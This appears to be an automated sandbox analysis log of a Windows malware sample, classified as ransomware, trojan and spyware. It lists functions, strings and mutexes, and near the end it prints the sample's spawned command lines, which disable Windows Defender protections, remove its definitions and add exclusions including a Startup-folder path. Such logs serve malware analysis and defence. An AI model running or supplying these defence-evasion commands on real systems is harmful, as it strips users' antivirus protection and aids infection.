Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE8C00C	83_2_00007FF64FE8C00C
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE94FE8	83_2_00007FF64FE94FE8
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FEBDFD8	83_2_00007FF64FEBDFD8
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FEBAF90	83_2_00007FF64FEBAF90
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE85F4C	83_2_00007FF64FE85F4C
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE8AF0C	83_2_00007FF64FE8AF0C
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE59EFC	83_2_00007FF64FE59EFC
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE9EEA4	83_2_00007FF64FE9EEA4
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE5CE84	83_2_00007FF64FE5CE84
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FEAFE74	83_2_00007FF64FEAFE74
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE68E68	83_2_00007FF64FE68E68
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE9AE50	83_2_00007FF64FE9AE50
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE5EE08	83_2_00007FF64FE5EE08
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE61E04	83_2_00007FF64FE61E04
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FEA1DCC	83_2_00007FF64FEA1DCC
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE99D74	83_2_00007FF64FE99D74
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE80D20	83_2_00007FF64FE80D20
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE79D0C	83_2_00007FF64FE79D0C
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FEA6D0C	83_2_00007FF64FEA6D0C
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE5DD04	83_2_00007FF64FE5DD04
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE95C8C	83_2_00007FF64FE95C8C
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE68C30	83_2_00007FF64FE68C30
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FEA9B98	83_2_00007FF64FEA9B98
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE94B38	83_2_00007FF64FE94B38
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE5CB14	83_2_00007FF64FE5CB14
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FEBAAC0	83_2_00007FF64FEBAAC0
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE95A70	83_2_00007FF64FE95A70
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE8FA6C	83_2_00007FF64FE8FA6C
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE969FD	83_2_00007FF64FE969FD
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE549B8	83_2_00007FF64FE549B8
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE7D97C	83_2_00007FF64FE7D97C
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE8D91C	83_2_00007FF64FE8D91C
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE9190C	83_2_00007FF64FE9190C
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE80904	83_2_00007FF64FE80904
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE838E8	83_2_00007FF64FE838E8
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FEA18A8	83_2_00007FF64FEA18A8
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE62890	83_2_00007FF64FE62890
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE58884	83_2_00007FF64FE58884
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE767E0	83_2_00007FF64FE767E0
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE617C8	83_2_00007FF64FE617C8
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE8A710	83_2_00007FF64FE8A710
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE90710	83_2_00007FF64FE90710
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE92700	83_2_00007FF64FE92700
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FEB86D4	83_2_00007FF64FEB86D4
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE686C4	83_2_00007FF64FE686C4
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FEA7660	83_2_00007FF64FEA7660
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FEA260C	83_2_00007FF64FEA260C
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE865FC	83_2_00007FF64FE865FC
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE7F5B0	83_2_00007FF64FE7F5B0
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE68598	83_2_00007FF64FE68598
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE8F59C	83_2_00007FF64FE8F59C
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE5A504	83_2_00007FF64FE5A504
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE95468	83_2_00007FF64FE95468
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE7D458	83_2_00007FF64FE7D458
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE7C3E0	83_2_00007FF64FE7C3E0
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE80374	83_2_00007FF64FE80374
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE62360	83_2_00007FF64FE62360
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FEA832C	83_2_00007FF64FEA832C
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FEA1314	83_2_00007FF64FEA1314
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE542E0	83_2_00007FF64FE542E0
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE6D2C0	83_2_00007FF64FE6D2C0
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE902A4	83_2_00007FF64FE902A4
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FEA2268	83_2_00007FF64FEA2268
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE5F24C	83_2_00007FF64FE5F24C
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE77244	83_2_00007FF64FE77244
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE6E21C	83_2_00007FF64FE6E21C
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FEB41CC	83_2_00007FF64FEB41CC
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE981CC	83_2_00007FF64FE981CC
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE92164	83_2_00007FF64FE92164

Source: C:\Users\user\Desktop\program.exe	Code function: String function: 00007FF6B7502710 appears 104 times
Source: C:\Users\user\Desktop\program.exe	Code function: String function: 00007FFE00761325 appears 518 times
Source: C:\Users\user\Desktop\program.exe	Code function: String function: 00007FFE007DD341 appears 1192 times
Source: C:\Users\user\Desktop\program.exe	Code function: String function: 00007FFE007DD33B appears 39 times
Source: C:\Users\user\Desktop\program.exe	Code function: String function: 00007FF6B7502910 appears 34 times
Source: C:\Users\user\Desktop\program.exe	Code function: String function: 00007FFE007DD32F appears 324 times
Source: C:\Users\user\Desktop\program.exe	Code function: String function: 00007FFE007DDB03 appears 45 times
Source: C:\Users\user\Desktop\program.exe	Code function: String function: 00007FFE01309340 appears 80 times
Source: C:\Users\user\Desktop\program.exe	Code function: String function: 00007FFE0130A500 appears 99 times
Source: C:\Users\user\Desktop\program.exe	Code function: String function: 00007FFE007DD425 appears 48 times
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: String function: 00007FF64FE68444 appears 48 times
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: String function: 00007FF64FE949F4 appears 53 times

Source: program.exe

Static PE information: invalid certificate

Source: rar.exe.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: program.exe	Binary or memory string: OriginalFilename vs program.exe
Source: program.exe, 00000000.00000003.1705401470.000002641A640000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs program.exe
Source: program.exe, 00000000.00000003.1704155388.000002641A640000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs program.exe
Source: program.exe, 00000000.00000003.1704988326.000002641A640000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs program.exe
Source: program.exe, 00000000.00000003.1705192262.000002641A640000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs program.exe
Source: program.exe, 00000000.00000003.1705283255.000002641A640000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs program.exe
Source: program.exe, 00000000.00000003.1704360069.000002641A640000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs program.exe
Source: program.exe, 00000000.00000003.1708318223.000002641A640000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs program.exe
Source: program.exe, 00000000.00000003.1704487837.000002641A640000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs program.exe
Source: program.exe, 00000000.00000003.1708160860.000002641A640000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs program.exe
Source: program.exe, 00000000.00000003.1704607095.000002641A640000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs program.exe
Source: program.exe, 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameCMSTP.EXE` vs program.exe
Source: program.exe, 00000000.00000003.1708610018.000002641A640000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs program.exe
Source: program.exe, 00000000.00000003.1705081700.000002641A640000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs program.exe
Source: program.exe, 00000000.00000003.1706789669.000002641A640000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibsslH vs program.exe
Source: program.exe, 00000000.00000003.1705512770.000002641A640000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs program.exe
Source: program.exe	Binary or memory string: OriginalFilename vs program.exe
Source: program.exe, 00000001.00000002.2119683016.00007FFDFBAB5000.00000004.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenamepython313.dll. vs program.exe
Source: program.exe, 00000001.00000002.2118578234.00007FFDFB42A000.00000004.00000001.01000000.0000000F.sdmp	Binary or memory string: OriginalFilenamelibcryptoH vs program.exe
Source: program.exe, 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs program.exe
Source: program.exe, 00000001.00000002.2122180293.00007FFE130CC000.00000004.00000001.01000000.0000000D.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs program.exe
Source: program.exe, 00000001.00000002.2121822253.00007FFE11EE6000.00000004.00000001.01000000.00000006.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs program.exe
Source: program.exe, 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmp	Binary or memory string: OriginalFilenamelibsslH vs program.exe
Source: program.exe, 00000001.00000002.2120776807.00007FFE0EB64000.00000004.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs program.exe
Source: program.exe, 00000001.00000002.2122667935.00007FFE13318000.00000004.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs program.exe
Source: program.exe, 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameCMSTP.EXE` vs program.exe
Source: program.exe, 00000001.00000002.2123115710.00007FFE1A46A000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs program.exe
Source: program.exe, 00000001.00000002.2117294434.00007FFDFAF12000.00000004.00000001.01000000.00000013.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs program.exe
Source: program.exe, 00000001.00000002.2120983307.00007FFE1152A000.00000004.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs program.exe
Source: program.exe, 00000001.00000002.2120574846.00007FFE0E183000.00000004.00000001.01000000.0000000E.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs program.exe
Source: program.exe, 00000001.00000002.2122455558.00007FFE13218000.00000004.00000001.01000000.0000000C.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs program.exe
Source: program.exe, 00000001.00000002.2121995089.00007FFE12E1C000.00000004.00000001.01000000.00000012.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs program.exe
Source: program.exe, 00000001.00000002.2121517959.00007FFE11EB3000.00000004.00000001.01000000.00000011.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs program.exe
Source: program.exe	Binary or memory string: OriginalFilenameCMSTP.EXE` vs program.exe

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath

Source: C:\Users\user\Desktop\program.exe	Process created: Commandline size = 3647
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615
Source: C:\Users\user\Desktop\program.exe	Process created: Commandline size = 3647	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615

Source: libcrypto-3.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9991990186771459
Source: libssl-3.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9923211348684211
Source: python313.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9994153529876473
Source: sqlite3.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9975483390549273
Source: unicodedata.pyd.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9926987474437627

Source: classification engine

Classification label: mal100.rans.troj.adwa.spyw.expl.evad.winEXE@164/56@2/2

Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe

Code function: 83_2_00007FF64FE6CAFC GetLastError,FormatMessageW,

83_2_00007FF64FE6CAFC

Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE6EF50 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,		83_2_00007FF64FE6EF50
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE9B57C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx,		83_2_00007FF64FE9B57C

Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe

Code function: 83_2_00007FF64FE73144 GetDiskFreeSpaceExW,

83_2_00007FF64FE73144

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9176:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8652:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3524:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8528:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8492:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8152:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8836:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7824:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8876:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7400:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1216:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8632:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3736:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7972:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7968:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7848:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5780:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1368:120:WilError_03
Source: C:\Users\user\Desktop\program.exe	Mutant created: \Sessions\1\BaseNamedObjects\7
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7392:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7448:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5544:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8204:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8816:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8828:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7856:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8612:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8680:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9040:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8844:120:WilError_03

Source: C:\Users\user\Desktop\program.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI73082

Jump to behavior

Source: program.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\program.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\program.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: program.exe, 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: program.exe, program.exe, 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: program.exe, program.exe, 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: program.exe, program.exe, 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: program.exe, program.exe, 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: program.exe, program.exe, 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: program.exe, program.exe, 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: program.exe	ReversingLabs: Detection: 44%
Source: program.exe	Virustotal: Detection: 46%

Source: program.exe	String found in binary or memory: set-addPolicy
Source: program.exe	String found in binary or memory: id-cmc-addExtensions
Source: program.exe	String found in binary or memory: --help
Source: program.exe	String found in binary or memory: --help
Source: program.exe	String found in binary or memory: can't send non-None value to a just-started async generator
Source: program.exe	String found in binary or memory: can't send non-None value to a just-started generator
Source: program.exe	String found in binary or memory: fma($module, x, y, z, /) -- Fused multiply-add operation. Compute (x * y) + z with a single round.
Source: program.exe	String found in binary or memory: various kinds of output. Setting it to 0 deactivates this behavior. PYTHON_HISTORY : the location of a .python_history file. These variables have equivalent command-line options (see --help for details): PYTHON_CPU_COUNT: override the retu
Source: program.exe	String found in binary or memory: various kinds of output. Setting it to 0 deactivates this behavior. PYTHON_HISTORY : the location of a .python_history file. These variables have equivalent command-line options (see --help for details): PYTHON_CPU_COUNT: override the retu
Source: program.exe	String found in binary or memory: can't send non-None value to a just-started coroutine

Source: C:\Users\user\Desktop\program.exe

File read: C:\Users\user\Desktop\program.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\program.exe "C:\Users\user\Desktop\program.exe"
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Users\user\Desktop\program.exe "C:\Users\user\Desktop\program.exe"
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\program.exe'"
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\program.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
